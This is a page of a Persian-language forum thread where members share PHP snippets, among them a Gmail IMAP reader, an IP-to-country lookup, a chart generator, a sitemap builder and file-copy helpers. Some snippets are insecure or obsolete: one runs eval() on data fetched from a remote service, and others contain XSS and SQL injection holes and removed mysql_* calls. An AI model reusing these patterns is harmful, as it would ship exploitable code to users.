مشاهده دست آورد نظرسنجی: اين تاپيك مناسب است؟

رای دهنده
96. شما نمی توانید در این رای گیری رای بدهید
  • بله

    93 96.88%
  • خير

    3 3.13%
صفحه 4 از 6 اولاول ... 23456 آخرآخر
نمایش نتایج 121 تا 160 از 224

نام تاپیک: snippet های php

  1. #121

    نقل قول: snippet های php

    مشاهده ایمیلهای خوانده نشده GMail
    با کمی تغییر میتونید مدلهای مختلفی از این کد استفاده کنید. مثلاً ایمیلهای یک روز خاص، ارسال شده ها، ایمیلهایی که بهشون جواب دادین و...
    کد HTML:
    <!doctype html>
    <html>
        <head>
            <title>Read GMail with IMAP</title>
            <meta charset="utf-8"/>
            <script src="jqmin.js" type="text/javascript"></script>
            <script type="text/javascript">
                $(document).ready(function() {
                    $('div.body').slideUp('slow');
                    $('div.toggler').click(function() {
                        $(this).addClass('read').removeClass('unread');
                        $(this).next('div.body').slideToggle('slow');
                    });
                });
            </script>
            <style type="text/css">
                div.toggler {
                    border: 1px solid #ccc;
                    cursor: pointer;
                    padding: 10px 32px;
                }
                div.toggler .subject {
                    font-weight: bold;
                }
                div.read {
                    color: #666;
                }
                div.toggler .from, div.toggler .date {
                    font-style: italic;
                    font-size: 12px;
                }
                div.body {
                    border: solid thin #7f7f7f;
                    padding: 10px 20px;
                }
            </style>
        </head>
        <body>
    <?php
        /* connect to gmail */
        $hostname = '{imap.gmail.com:993/imap/ssl}INBOX';
        $username = 'your_account@gmail.com';
        $password = 'your_password';
    
        /* try to connect */
        $inbox = imap_open($hostname, $username, $password, OP_READONLY) or die('Cannot connect to Gmail: ' . imap_last_error());
    
        /* grab emails */
        $emails = imap_search($inbox, 'UNSEEN');
    
        /* if emails are returned, cycle through each... */
        if($emails) {
          
          /* begin output var */
          $output = '';
          
          /* for every email... */
          foreach($emails as $email_number) {
            
            /* get information specific to this email */
            $overview = imap_fetch_overview($inbox, $email_number, 0);
            $message = imap_utf8(imap_fetchbody($inbox, $email_number, 2));
            
            /* output the email header information */
            $output.= '<div class="toggler '.($overview[0]->seen ? 'read' : 'unread').'">'.PHP_EOL;
            $output.= '<span class="subject">'.imap_utf8($overview[0]->subject).'</span>&nbsp;';
            $output.= '<span class="from">'.imap_utf8($overview[0]->from).'</span>&nbsp;';
            $output.= '<span class="date">on '.$overview[0]->date.'</span>';
            $output.= '</div>'.PHP_EOL;
            
            /* output the email body */
            $output.= '<div class="body">'.$message.'</div>'.PHP_EOL;
          }
          
          echo $output;
        } 
    
        /* close the connection */
        imap_close($inbox);
    ?>
        </body>
    </html>
    امیدوارم که این کد هم به دردتون بخوره.
    موفق باشید.

  2. #122

    نقل قول: snippet های php

    نمایش فهرست فایلها (شامل فایلهای با اسامی فارسی) !
    شاید مشکل عدم نمایش درست اسامی فایلهای فارسی برای خیلیها دردسرساز شده باشه. این کد مشکلتون رو رفع میکنه:

    $files = scandir('.');
    foreach($files as $file) {
    echo iconv('windows-1256', 'utf-8', $file).'<br/>'.PHP_EOL;
    }

    موفق باشید.

  3. #123
    کاربر دائمی
    تاریخ عضویت
    آذر 1390
    محل زندگی
    کرمان
    پست
    1,461

    نقل قول: snippet های php

    این هم چک کشور با ای پی

    <?
    // Let me start off by saying I do not take full credit for this!
    // I needed a way to get my traffic's country for Adverts...
    // for some reason, json_decode wasn't working, so this is an alternative.

    // json_decoder function from PHP.net
    // file_get_contents_curl basic data retrieval function

    // how to use:
    // include('country.php');
    // $userCountry=getTheCountry();
    // output is 2 character country code, US, CA, etc...

    function file_get_contents_curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
    }

    function json_decoder($json)
    {
    $comment = false;
    $out = '$x=';

    for ($i=0; $i<strlen($json); $i++)
    {
    if (!$comment)
    {
    if (($json[$i] == '{') || ($json[$i] == '[')) $out .= ' array(';
    else if (($json[$i] == '}') || ($json[$i] == ']')) $out .= ')';
    else if ($json[$i] == ':') $out .= '=>';
    else $out .= $json[$i];
    }
    else $out .= $json[$i];
    if ($json[$i] == '"' && $json[($i-1)]!="\\") $comment = !$comment;
    }
    eval($out . ';');
    return $x;
    }

    function getTheCountry(){
    $ipForCo=$_SERVER['REMOTE_ADDR'];
    $getCo=file_get_contents_curl('http://ip2country.sourceforge.net/ip2c.php?ip='.$ipForCo.'&format=JSON');
    $json_Co=json_decoder($getCo);
    return $json_Co['country_code'];
    }

  4. #124

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:42 صبح

  5. #125
    کاربر دائمی
    تاریخ عضویت
    آذر 1390
    محل زندگی
    کرمان
    پست
    1,461

    نقل قول: snippet های php

    اقا اگر تکراری بود معذرت می خوام آخه من تقریبا کل این تاپیک رو خوندم ولی این رو ندیدم شاید حواسم نبوده اگر تکراریه بازم معذرت می خوام.

  6. #126

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:43 صبح

  7. #127

    نقل قول: snippet های php

    رسم نمودار با PHP

    <?php
    // Prevent direct access
    if(realpath($_SERVER['SCRIPT_FILENAME']) == realpath(__FILE__)) {
    header('location: index.php');
    exit();
    }
    function chart(
    $title = NULL,
    $values = NULL,
    $filename = NULL,
    $width = NULL,
    $height = NULL,
    $min = NULL,
    $max = NULL,
    $scale = NULL,
    $showvalues = NULL,
    $fontsize = NULL,
    $fontcolor = NULL,
    $backcolor = NULL,
    $fillcolor = NULL,
    $linecolor = NULL,
    $dotscolor = NULL,
    $gridcolor = NULL,
    $textcolor = NULL
    ) {
    // Default configuration
    if(is_null($title)) { $title = 'Chart'; }
    if(is_null($values)) { $values = array(); }
    if(is_null($filename)) { $filename = 'chart.png'; }
    if(is_null($width)) { $width = 640; }
    if(is_null($height)) { $height = 480; }
    if(is_null($min)) { $min = 0; }
    if(is_null($max)) { $max = 100; }
    if(is_null($scale)) { $scale = 25; }
    if(is_null($showvalues)) { $showvalues = true; }
    if(is_null($fontsize)) { $fontsize = 10; }
    if(is_null($fontcolor)) { $fontcolor = array(127, 0, 0); }
    if(is_null($backcolor)) { $backcolor = array(255, 255, 255); }
    if(is_null($fillcolor)) { $fillcolor = array(191, 191, 191); }
    if(is_null($linecolor)) { $linecolor = array( 0, 0, 0); }
    if(is_null($dotscolor)) { $dotscolor = array( 0, 127, 0); }
    if(is_null($gridcolor)) { $gridcolor = array(127, 127, 127); }
    if(is_null($textcolor)) { $textcolor = array( 0, 0, 127); }
    // Internal configuration
    $chart_bottom = floor($height * 0.85);
    $chart_left = floor($width * 0.15);
    $chart_right = floor($width * 0.95);
    $chart_top = floor($height * 0.05);
    $cx = floor($width / 2 );
    $cy = floor($height / 2 );
    $scale_x = floor(($chart_right - $chart_left) / (count($values) + 1));
    $scale_y = floor(($chart_bottom - $chart_top) / (($max - $min) / $scale));
    $font_regular = 'tahoma.ttf';
    $font_bold = 'tahoma_bold.ttf';
    $keys = array_keys($values);
    $count = count($keys);
    // Main function
    $result = true;
    $im = @imagecreatetruecolor($width, $height);
    if($im !== false) {
    $back = imagecolorallocate($im, $backcolor[0], $backcolor[1], $backcolor[2]);
    $dots = imagecolorallocate($im, $dotscolor[0], $dotscolor[1], $dotscolor[2]);
    $fill = imagecolorallocate($im, $fillcolor[0], $fillcolor[1], $fillcolor[2]);
    $font = imagecolorallocate($im, $fontcolor[0], $fontcolor[1], $fontcolor[2]);
    $grid = imagecolorallocate($im, $gridcolor[0], $gridcolor[1], $gridcolor[2]);
    $line = imagecolorallocate($im, $linecolor[0], $linecolor[1], $linecolor[2]);
    $text = imagecolorallocate($im, $textcolor[0], $textcolor[1], $textcolor[2]);
    // Fill with background color
    imagefill($im, $cx, $cy, $back);
    // Draw internal space of chart
    imagerectangle($im, $chart_left, $chart_top, $chart_right, $chart_bottom, $line);
    imagefill($im, $cx, $cy, $fill);
    // Draw horizontal grid lines
    for($i = $chart_bottom - $scale_y; $i > $chart_top; $i -= $scale_y) {
    imageline($im, $chart_left, $i, $chart_right, $i, $grid);
    }
    // Draw vertical grid lines
    for($i = $chart_left + $scale_x; $i < $chart_right; $i += $scale_x) {
    imageline($im, $i, $chart_bottom, $i, $chart_top, $grid);
    }
    // Draw dots and/or write values
    for($i = 0, $j = $chart_left + $scale_x; $i < $count && $j <= $chart_right; $i++, $j += $scale_x) {
    $cy = $chart_bottom;
    $y = $min;
    while($y < $values[$keys[$i]]) {
    $y++;
    $cy -= $scale_y / $scale;
    }
    imagefilledarc($im, $j, $cy, $scale, $scale, 0, 360, $dots, IMG_ARC_PIE);
    imagearc($im, $j, $cy, $scale, $scale, 0, 360, $line);
    if($showvalues) {
    $box = imagettfbbox($fontsize, 0, $font_bold, $values[$keys[$i]]);
    imagettftext($im, $fontsize, 0, $j - $box[4] / 2, $cy - $box[5] / 2, $font, $font_bold, $values[$keys[$i]]);
    }
    }
    // Write X-axis labels
    for($i = 0, $j = $chart_left + $scale_x; $i < $count && $j <= $chart_right; $i++, $j += $scale_x) {
    $box = imagettfbbox($fontsize, 0, $font_regular, $keys[$i]);
    imagettftext($im, $fontsize, 0, $j - $box[4] / 2, $chart_bottom + 15, $font, $font_regular, $keys[$i]);
    }
    // Write Y-axis labels
    for($i = $min, $j = $chart_bottom; $i <= $max, $j >= $chart_top; $i += $scale, $j -= $scale_y) {
    $box = imagettfbbox($fontsize, 0, $font_regular, $i);
    imagettftext($im, $fontsize, 0, $chart_left - $box[4] - 15, $j - $box[5] / 2, $font, $font_regular, $i);
    }
    // Write title
    $box = imagettfbbox($fontsize * 2, 0, $font_bold, $title);
    imagettftext($im, $fontsize * 2, 0, ($width - $box[4]) / 2, $chart_bottom - ($box[5] / 2) + ($height - $chart_bottom) / 2, $text, $font_bold, $title);
    // Output the chart image
    if(!imagepng($im, $filename, 9)) {
    $result = false;
    }
    imagedestroy($im);
    }
    return $result;
    }
    ?>

    مثالی از کاربرد:
    کد HTML:
    <!doctype html>
    <html>
    <head>
    <title>Chart DEMO</title>
    <meta charset="utf-8"/>
    </head>
    <body>
    <?php
        require_once 'chart.php';
        $title = 'My Chart';
        $values = array('ASP' => -25, 'JSP' => 15, 'ASP.NET' => 50, 'PHP' => 100);
        $filename = 'MyChart.png';
        if(chart($title, $values, $filename, NULL, NULL, -50, 125, 25, true, 10)) {
            echo '<img border="10px" src="'.$filename.'"/><br/>'.PHP_EOL;
        }
    ?>
    </body>
    </html>
    نمونه خروجی:
    MyChart.jpg
    امیدوارم این هم به درد بخوره. موفق باشید.
    آخرین ویرایش به وسیله MMSHFE : پنج شنبه 14 اردیبهشت 1391 در 08:25 صبح دلیل: اصلاح کد و اضافه کردن رنگ عنوان

  8. #128

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:44 صبح

  9. #129

    نقل قول: snippet های php

    ممنون. دارم روی نمونه های دیگه هم کار میکنم. مثل نمودار ستونی، نمودار دایره ای و... که کلاً یک کلاس میشه و با کمک متدهای مختلفش میشه نمودارهای متفاوتی تهیه کرد. البته خداییش کار راحتی نیست. همین نمونه که گذاشتم 2 ساعت تمام وقت برد!

  10. #130

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:47 صبح

  11. #131

    نقل قول: snippet های php

    قطعاً کمک مفیدی خواهد بود. البته به شرطی که بتونم از کدش سر در بیارم!

  12. #132

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:49 صبح

  13. #133
    کاربر دائمی
    تاریخ عضویت
    دی 1389
    محل زندگی
    اراک
    پست
    409

    نقل قول: snippet های php

    سلام
    برادران، می تونید چارت های بسیار عالی رو همراه انیمیت با Hightchart درست کنید، ببینید

    http://www.highcharts.com/demo/pie-basic

    با بیش از 30 مدل نمودار.

  14. #134

    نقل قول: snippet های php

    ممنون بابت لینک مفیدی که گذاشتین ولی هدف ما اینجا کدهای PHP هست و Hicharts با JS کار شده.

  15. #135

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : جمعه 22 بهمن 1395 در 11:55 صبح

  16. #136

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:41 صبح

  17. #137

    نقل قول: snippet های php

    تولید نقشه سایت (Site Map) :

    <?php
    // Please edit these values before running your script.
    // The Url of the site - the last '/' is needed
    $url = 'http://localhost/mycms/';
    // Where the root of the site is with relation to this file.
    $root_dir = '../mycms';
    // Allowed extensions to consider in sitemap
    $extensions = array(
    'htm',
    'html',
    'php'
    );
    // Stuff to be ignored...
    // Ignore the file/folder if these words appear anywhere in the name
    $always_ignore = array(
    '.inc',
    'admin',
    'image'
    );
    //These files will not be linked in the sitemap.
    $ignore_files = array(
    '404.php',
    'error.php',
    'config.php',
    'include.inc'
    );
    //The script will not enter these folders
    $ignore_dirs = array(
    '.svn',
    'admin',
    'css',
    'cvs',
    'images',
    'inc',
    'includes',
    'js',
    'lib',
    'stats',
    'styles',
    'system',
    'uploads'
    );
    // Stop editing now - Configurations are over !

    // This function extracts pages
    function getPages($currentDir) {
    global $url, $extensions, $always_ignore, $ignore_files, $ignore_dirs, $root_dir;
    $pages = array();
    chdir($currentDir);
    $ext = '{';
    foreach($extensions as $extension) {
    $ext .= '*.'.$extension.',';
    }
    $ext = substr($ext, 0, -1);
    $ext .= '}';
    $files = glob($ext, GLOB_BRACE);
    foreach($files as $file) {
    $flag = true;
    if(in_array($file, $ignore_files)) {
    $flag = false;
    }
    else {
    foreach($always_ignore as $ignore) {
    if(strpos($file, $ignore) !== false) {
    $flag = false;
    }
    }
    }
    if($flag) {
    $pages[] = $url.($currentDir != $root_dir ? $currentDir.'/' : '').$file;
    }
    }
    $dirs = glob('{*,*.*}', GLOB_BRACE | GLOB_ONLYDIR);
    foreach($dirs as $dir) {
    $flag = true;
    if(in_array($dir, $ignore_dirs)) {
    $flag = false;
    }
    else {
    foreach($always_ignore as $ignore) {
    if(strpos($dir, $ignore) !== false) {
    $flag = false;
    }
    }
    }
    if($flag) {
    $pages = array_merge($pages, getPages(preg_replace('#\\\\#', '/', $dir)));
    chdir('..');
    }
    }
    return $pages;
    }
    function generateSiteMap() {
    global $root_dir;
    $currentDir = getcwd();
    $all_pages = getPages($root_dir);
    chdir($currentDir);
    $output = '';
    $output .= '<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL;
    $output .= '<urlset xmlns="http://www.google.com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd">'.PHP_EOL;
    //Process the files
    foreach ($all_pages as $link) {
    //Find the modified time.
    if(preg_match('#index\.\w{3,4}$#', $link)) {
    $link = preg_replace('#index\.\w{3,4}$#', '', $link);
    }
    $output .= ' <url>'.PHP_EOL;
    $output .= ' <loc>'.htmlentities($link).'</loc>'.PHP_EOL;
    $output .= ' </url>'.PHP_EOL;
    }
    $output .= '</urlset>'.PHP_EOL;
    return $output;
    }

    $currentDir = preg_replace('#\\\\#', '/', getcwd());
    header('Content-Type: text/xml');
    echo generateSiteMap();
    chdir($currentDir);
    ?>

  18. #138

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:46 صبح

  19. #139
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Copy a remote file to your site
    FUNCTION copy_file($url,$filename){

    $file = FOPEN ($url, "rb");

    IF (!$file) RETURN FALSE; ELSE {
    $fc = FOPEN($filename, "wb");

    WHILE (!FEOF ($file)) {
    $line = FREAD ($file, 1028);
    FWRITE($fc,$line);
    }

    FCLOSE($fc);
    RETURN TRUE;
    }
    }

  20. #140
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Copy File From Server
    <?PHP

    $inputfile = FOPEN("http://the-remote-server.com/inputfile.txt", "r");
    $outputfile = FOPEN("outputfile.txt", "w");
    ECHO "File opened...";
    $data = '';

    WHILE (!FEOF($inputfile)) {
    $data .= FREAD($inputfile, 8192);
    }

    ECHO "Data read...";
    FWRITE($outputfile, $data);
    ECHO "transfered data";
    FCLOSE ($inputfile);
    FCLOSE ($outputfile);

    ECHO "Done.";

    ?>

  21. #141
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Create Basic PDF
    <?PHP 

    $cpdf = cpdf_open(0);
    cpdf_page_init($cpdf, 1, 0, 595, 842, 1.0);
    cpdf_add_outline($cpdf, 0, 0, 0, 1, "Page 1");
    cpdf_begin_text($cpdf);
    cpdf_set_font($cpdf, "Times-Roman", 30, "WinAnsiEncoding");
    cpdf_set_text_rendering($cpdf, 1);
    cpdf_text($cpdf, "Times Roman outlined", 50, 750);
    cpdf_end_text($cpdf);
    cpdf_moveto($cpdf, 50, 740);
    cpdf_lineto($cpdf, 330, 740);
    cpdf_stroke($cpdf);
    cpdf_finalize($cpdf);
    HEADER("Content-type: application/pdf");
    cpdf_output_buffer($cpdf);
    cpdf_close($cpdf);

    ?>

  22. #142
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Create a drop down menu from an array list
    <?PHP

    // array contents array 1, value
    $ddArray1 = ARRAY('Red','Green','Blue','Orange');

    // array contents array 2, key => value
    $ddArray2 = ARRAY('r'=>'Red','b'=>'Blue','g'=>'Green','o'=>'Or ange');

    // Values from array 1
    PRINT '<select name="Words">';

    // for each value of the array assign a variable name word
    FOREACH($ddArray1 AS $word){
    PRINT '<option value="'.$word.'">'.$word.'</option>';
    }
    PRINT '</select>';

    //Values from array 2
    PRINT '<select name="Words">';

    // for each key of the array assign a variable name $let
    // for each value of the array assign a variable name $word

    FOREACH($ddArray2 AS $let=>$word){
    PRINT '<option value="'.$let.'">'.$word.'</option>';
    }
    PRINT '</select>';

    ?>

  23. #143
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    GD barchart demo
    <?PHP   

    // bars.php3 - Bar chart on gif image
    // Note: uses the gd library
    // This code will display a bar chart based on random values
    // Different colors are used to display bars and a gif images
    // is used for the background. Use the following link to include
    // the example into your web-site
    // <img src="./bars.php3" border="0">
    //
    // The background image can be found at

    HEADER( "Content-type: image/gif");
    HEADER( "Expires: Mon, 17 Aug 1998 12:51:50 GMT");

    $im = imagecreatefromgif( "gradient.gif");

    // Allocate colors
    $red=ImageColorAllocate($im,255,0,0);
    $green=ImageColorAllocate($im,0,255,0);
    $blue=ImageColorAllocate($im,0,0,255);
    $yellow=ImageColorAllocate($im,255,255,0);
    $cyan=ImageColorAllocate($im,0,255,255);

    // Determine size of image
    $x=imagesx($im);
    $y=imagesy($im);

    // Initialize random number generator
    SRAND(MKTIME());

    // Create some bars
    $v=RAND(); $v=$v/32768*200;
    ImageFilledRectangle($im,10,200-$v,60,200,$red);
    $v=RAND(); $v=$v/32768*200;
    ImageFilledRectangle($im,70,200-$v,120,200,$green);
    $v=RAND(); $v=$v/32768*200;
    ImageFilledRectangle($im,130,200-$v,180,200,$blue);
    $v=RAND(); $v=$v/32768*200;
    ImageFilledRectangle($im,190,200-$v,240,200,$yellow);
    $v=RAND(); $v=$v/32768*200;
    ImageFilledRectangle($im,250,200-$v,300,200,$cyan);

    // Display modified image
    ImageGif($im);
    // Release allocated ressources
    ImageDestroy($im);
    ?>

  24. #144
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Find days between dates #1
    <?PHP

    $dt=ARRAY("27.01.1985","12.09.2008");
    $dates=ARRAY();
    $i=0;
    WHILE(STRTOTIME($dt[1])>=STRTOTIME("+".$i." day",STRTOTIME($dt[0])))
    $dates[]=DATE("Y-m-d",STRTOTIME("+".$i++." day",STRTOTIME($dt[0])));

    FOREACH($dates AS $value) ECHO $value."<br />";

    ?>

  25. #145
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Graphical tree like Explorer
    <?PHP 

    /*
    Here are the database definitions used in this code.
    It should be fairly east to adapt it to another database.
    */

    /*
    CREATE TABLE dirent_types (
    id INTEGER NOT NULL,
    icon VARCHAR(50),
    name VARCHAR(50),
    PRIMARY KEY(id)
    );

    INSERT INTO dirent_types VALUES(1, 'folderclosed', 'Directory');
    INSERT INTO dirent_types VALUES(2, 'document', 'File');

    CREATE TABLE directory (
    id INTEGER NOT NULL,
    parent INTEGER REFERENCES directory(id),
    name VARCHAR(200),
    icon VARCHAR(50),
    type INTEGER REFERENCES dirent_types(id),
    url VARCHAR(200),
    PRIMARY KEY(id)
    );

    DROP INDEX directory_idx;

    CREATE UNIQUE INDEX directory_idx ON directory(parent, name);

    CREATE SEQUENCE dirent_id;

    "CREATE PROCEDURE insert_dir_entry
    (name VARCHAR, parent INTEGER, type INTEGER)
    RETURNS(id INTEGER)
    BEGIN
    EXEC SQL WHENEVER SQLERROR ABORT;
    EXEC SEQUENCE dirent_id.NEXT INTO id;
    EXEC SQL PREPARE c_insert
    INSERT INTO directory
    (id, parent, type, name)
    VALUES(?, ?, ?, ?);
    EXEC SQL EXECUTE c_insert USING (id, parent, type, name);
    EXEC SQL DROP c_insert;
    END";

    CALL insert_dir_entry('My Computer', NULL, 1);
    CALL insert_dir_entry('Network Neighbourhood', NULL, 1);
    CALL insert_dir_entry('lucifer.guardian.no', 2, 1);
    CALL insert_dir_entry('rafael.guardian.no', 2, 1);
    CALL insert_dir_entry('uriel.guardian.no', 2, 1);
    CALL insert_dir_entry('Control Panel', NULL, 1);
    CALL insert_dir_entry('Services', 6, 1);
    CALL insert_dir_entry('Apache', 7, 2);
    CALL insert_dir_entry('Solid Server 2.2', 7, 2);

    */

    FUNCTION icon($icon, $name = '', $width = 0, $height = 0) {
    GLOBAL $DOCUMENT_ROOT;
    $icon_loc = '/pics/menu';
    $file = "$DOCUMENT_ROOT$icon_loc/$icon.gif";
    IF (!$width || !$height) {
    $iconinfo = GETIMAGESIZE($file);
    IF (!$width) {
    $width = $iconinfo[0];
    }
    IF (!$height) {
    $height = $iconinfo[1];
    }
    }
    PRINTF( '<img%s border=0 align=top src="/pics/menu/%s.gif" '.
    'width="%d" height="%d">', $name ? " name=\"$name\"" : '',
    $icon, $width, $height);
    }

    /*
    * Displays, recursively, the contents of a tree given a starting
    * point.
    *
    * Parameters:
    * $parent - the parent node (not listed in the directory). Node
    * 0 is the root node.
    *
    * $maxdepth (optional) - maximum number of recursion levels. -1
    * (the default value) means no limits.
    *
    * $ancestors (optional) - an array of the ancestor nodes in the
    * current branch of the tree, with the node closest to the
    * top at index 0.
    *
    * Global variables used:
    * $child_nodes
    * $node_data
    * $last_child
    *
    * Global variables modified:
    * The array pointers in $child_nodes will be modified.
    */
    FUNCTION display_directory($parent, $showdepth = 0, $ancestors = FALSE) {
    GLOBAL $child_nodes, $node_data, $last_child;
    RESET($child_nodes[$parent]);
    $size = SIZEOF($child_nodes[$parent]);
    $lastindex = $size - 1;
    IF (!$ancestors) {
    $ancestors = ARRAY();
    }
    $depth = SIZEOF($ancestors);
    PRINTF( '<div id="node_%d" class="dirEntry" visibility="%s">',
    $parent, $showdepth > 0 ? 'show' : 'hide');
    WHILE (LIST($index, $node) = EACH($child_nodes[$parent])) {
    /*
    For each of the uptree nodes:
    If an uptree node is not the last one on its depth
    of the branch, there should be a line instead of a blank
    before this node's icon.
    */
    FOR ($i = 0; $i < $depth; $i++) {
    $up_parent = (int)$node_data[$ancestors[$i]][ 'parent'];
    $last_node_on_generation = $last_child[$up_parent];
    $uptree_node_on_generation = $ancestors[$i];
    IF ($last_node_on_generation == $uptree_node_on_generation) {
    icon( "blank");
    } ELSE {
    icon( "line");
    }
    }
    IF ($child_nodes[$node]) { // has children, i.e. it is a folder
    $conn_icon = "plus";
    $expand = TRUE;
    } ELSE {
    $conn_icon = "join";
    $expand = FALSE;
    }
    IF ($index == $lastindex) {
    $conn_icon .= "bottom";
    } ELSEIF ($depth == 0 && $index == 0) {
    $conn_icon .= "top";
    }
    IF ($expand) {
    PRINTF( "<a href=\"javascript:document.layers['node_%d'].visibility='show'\">", $node);
    }
    icon($conn_icon, "connImg_$node");
    IF ($expand) {
    PRINT( "</a>");
    }
    $icon = $node_data[$node][ 'icon'];
    IF (!$icon) {
    $type = $node_data[$node][ 'type'];
    $icon = $GLOBALS[ 'dirent_icons'][$type];
    }
    icon($icon, "nodeImg_$node");
    $name = $node_data[$node][ 'name'];
    PRINTF( '?<font size="%d">%s</font><br%c>', -1, $name, 10);
    IF ($child_nodes[$node]) {
    $newdepth = $showdepth;
    IF ($newdepth > 0) {
    $newdepth--;
    }
    $new_ancestors = $ancestors;
    $new_ancestors[] = $node;
    display_directory($node, $newdepth, $new_ancestors);
    }
    }
    PRINT( "</div\n>");
    }
    FUNCTION setup_directory($parent, $maxdepth)
    {
    GLOBAL $dirent_icons, $child_nodes, $node_data, $last_child;
    $dirent_icons = sql_assoc( 'SELECT id,icon FROM dirent_types');
    $query = 'SELECT id,parent,type,icon,name '.
    'FROM directory '.
    'ORDER BY parent,name';
    $child_nodes = ARRAY();
    $node_data = ARRAY();
    $res = sql($query);
    WHILE (LIST($id, $parent, $type, $icon, $name) = db_fetch_row($res)) {
    $child_nodes[(int)$parent][] = $id;
    $node_data[$id] = ARRAY( 'id' => $id,
    'parent' => $parent,
    'type' => $type,
    'icon' => $icon,
    'name' => $name);
    $last_child[(int)$parent] = $id;
    }
    }
    ?>
    آخرین ویرایش به وسیله djsaeedkhan : پنج شنبه 04 خرداد 1391 در 18:07 عصر دلیل: هویجوری

  26. #146
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Handy SORT BY box+No SQL INjection
    <?PHP

    $selected = ARRAY();

    $orderby = $_GET[orderby];
    IF(!$orderby) { $orderby = 'price_asc'; }

    IF($orderby == 'price_asc')
    {
    $orderby_query = "order by price asc";
    }
    ELSE IF($orderby == 'price_desc')
    {
    $orderby_query = "order by price desc";
    }
    ELSE IF($orderby == 'name')
    {
    $orderby_query = "order by name";
    }
    ELSE { UNSET($orderby); }

    // If $orderby was valid set the selected sort option for the form.

    IF($orderby)
    {
    $selected[$orderby] = 'selected';
    }

    // Now run your SQL query with the $orderby_query variable. Ex:

    $query = "select * from products $orderby_query";

    // SQL code goes here..

    ?>

    Sort by
    <form method=get style="display: inline;" name='orderby_form'>
    <input type=hidden name='param1' value="<?PHP PRINT $param1; ?>">
    <input type=hidden name='param2' value="<?PHP PRINT $param2; ?>">
    <select name=orderby onChange="orderby_form.submit();">
    <option value='name' <?PHP PRINT $selected[$orderby]; ?>>Name</option>
    <option value='price_asc' <?PHP PRINT $selected[$orderby]; ?>>Price (Low - High)</option>
    <option value='price_desc' <?PHP PRINT $selected[$orderby]; ?>>Price (High - Low)</option>
    </select>
    </form>

  27. #147
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    How many days ago
    <?PHP

    // convert a date into a string that tells how long
    // ago that date was.... eg: 2 days ago, 3 minutes ago.
    FUNCTION ago($d) {
    $c = GETDATE();
    $p = ARRAY('year', 'mon', 'mday', 'hours', 'minutes', 'seconds');
    $display = ARRAY('year', 'month', 'day', 'hour', 'minute', 'second');
    $factor = ARRAY(0, 12, 30, 24, 60, 60);
    $d = datetoarr($d);
    FOR ($w = 0; $w < 6; $w++) {
    IF ($w > 0) {
    $c[$p[$w]] += $c[$p[$w-1]] * $factor[$w];
    $d[$p[$w]] += $d[$p[$w-1]] * $factor[$w];
    }
    IF ($c[$p[$w]] - $d[$p[$w]] > 1) {
    RETURN ($c[$p[$w]] - $d[$p[$w]]).' '.$display[$w].'s ago';
    }
    }
    RETURN '';
    }

    // you can replace this if need be. This converts the dates
    // returned from a mysql date string into an array object similar
    // to that returned by getdate().
    FUNCTION datetoarr($d) {
    PREG_MATCH("/([0-9]{4})(\\-)([0-9]{2})(\\-)([0-9]{2}) ([0-9]{2})(\\:)([0-9]{2})(\\:)([0-9]{2})/", $d, $matches);
    RETURN ARRAY(
    'seconds' => $matches[10],
    'minutes' => $matches[8],
    'hours' => $matches[6],
    'mday' => $matches[5],
    'mon' => $matches[3],
    'year' => $matches[1],
    );
    }

    ?>

  28. #148
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Output as Word Doc format
    <?PHP

    $query = "SELECT * FROM TABLE WHERE data = '$data'";

    $result = MYSQL_QUERY($query);
    $count = MYSQL_NUM_FIELDS($result);

    FOR ($i = 0; $i < $count; $i++){
    IF (ISSET($header))
    $header .= MYSQL_FIELD_NAME($result, $i)."\t";
    ELSE
    $header = MYSQL_FIELD_NAME($result, $i)."\t";
    }

    WHILE ($row = MYSQL_FETCH_ROW($result)){
    $line = '';

    FOREACH ($row AS $value)
    {
    IF (!ISSET($value) || $value == '')
    $value = "\t";
    ELSE
    {
